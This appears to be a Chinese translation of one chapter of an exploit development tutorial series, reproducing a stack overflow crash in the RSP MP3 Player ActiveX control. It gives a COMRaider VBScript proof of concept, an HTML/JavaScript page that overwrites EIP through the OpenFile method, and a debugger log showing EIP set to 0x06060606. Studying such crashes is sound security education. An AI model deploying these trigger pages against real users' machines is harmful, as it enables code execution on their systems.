- 第一部分: Introduction to Exploit Development
- 第二部分:Saved Return Pointer Overflows
- 第三部分:Structured Exception Handler (SEH)
- 第四部分:Egg Hunters
- 第五部分:Unicode 0x00410041
- 第六部分:WIN32 shellcode 编写
- 第七部分:返回导向编程(ROP)
- 第八部分:堆喷射第一节【覆写 EIP】
- 第九部分:堆喷射[第二章:UAF]
- 第十部分:内核利用程序之栈溢出
- 第十一部分:内核利用程序之任意位置任意写
- 第十二部分:内核利用程序之空指针引用
- 第十三部分:内核利用程序之未初始化栈变量
- 第十四部分:内核利用程序之整数溢出
- 第十五部分:内核利用程序之 UAF
- 第十六部分:内核利用程序之池溢出
- 第十七部分:内核利用程序之任意位置任意写
- 第十八篇:内核利用程序之 RS2 Bitmap 巫术
- 第十九篇:内核利用程序之 Razer
文章来源于网络收集而来,版权归原创者所有,如有侵权请及时联系!
崩溃重现
下载 RSP MP3 Player 并安装. 转到 rspmp3ocx320sw.ocx 文件所在文件夹,执行
regsvr32 rspmp3ocx320sw.ocx
注册.ocx 控件. 你能看到一个弹框说文件已经成功注册. 接着下载 COMRaider. COMRaider 是一个很好用的 ActiveX Fuzzer 工具. 用这个工具可以轻易得到 POC. 看看原始的 exploit 可以知道崩溃出现在 OpenFile 函数. 如果我们只 Fuzzing 这个函数会得到 14 个异常例子. 我没有花时间测试所有的文件,但我怀疑如果你测试完所有的文件会发现大量的可利用的崩溃!
如果我们看下面这个造成崩溃的文件,可以看到它非常简单,类似于 exploit-db 那个。
<?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687' id='target' /> <script language='vbscript'> 'File Generated by COMRaider v0.0.133 - http://labs.idefense.com 'Wscript.echo typename(target) 'for debugging/custom prolog targetFile = "C:\Documents and Settings\Administrator\Desktop\RSP MP3 Player\rspmp3ocx320sw.ocx" prototype = "Function OpenFile ( ByVal Inputfile As String )" memberName = "OpenFile" progid = "RSPMP3_320.RSPMP3" argCount = 1 arg1=String(1044, "A") target.OpenFile arg1 </script></job></package>
我花费了一点时间把它从 vb 转为 js. 我们可以控制 EIP 或 SEH .但这不是我们关心的. 我们想要从堆喷射中选一个可预测的指针覆写 EIP.
<html> <head> <object id="Oops" classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687'></object> </head> <body> <script> pointer=''; for (counter=0; counter<=1000; counter++) pointer+=unescape("%06"); Oops.OpenFile(pointer); </script> </body> </html>
调试结果如下:
eax=000003ea ebx=00000001 ecx=0000003c edx=0483fd08 esi=03ff0f64 edi=04840000 eip=03ed2fb7 esp=04826e90 ebp=0483ff9c iopl=0 nv up ei pl nz ac pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010217 rspmp3ocx1+0x2fb7: 03ed2fb7 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 0:014> g (87c.f6c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=06060606 edx=7c9032bc esi=00000000 edi=00000000 eip=06060606 esp=04826ac0 ebp=04826ae0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 06060606 ?? ??? 0:014> d 06060606 06060606 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 06060616 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 06060626 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 06060636 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 06060646 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 06060656 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 06060666 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 06060676 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
可以看到 EIP 被覆盖为 0x06060606.(其中一个可预测的指针) 然后执行流就报错了因为我们没有写任何东西在 0x06060606.
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论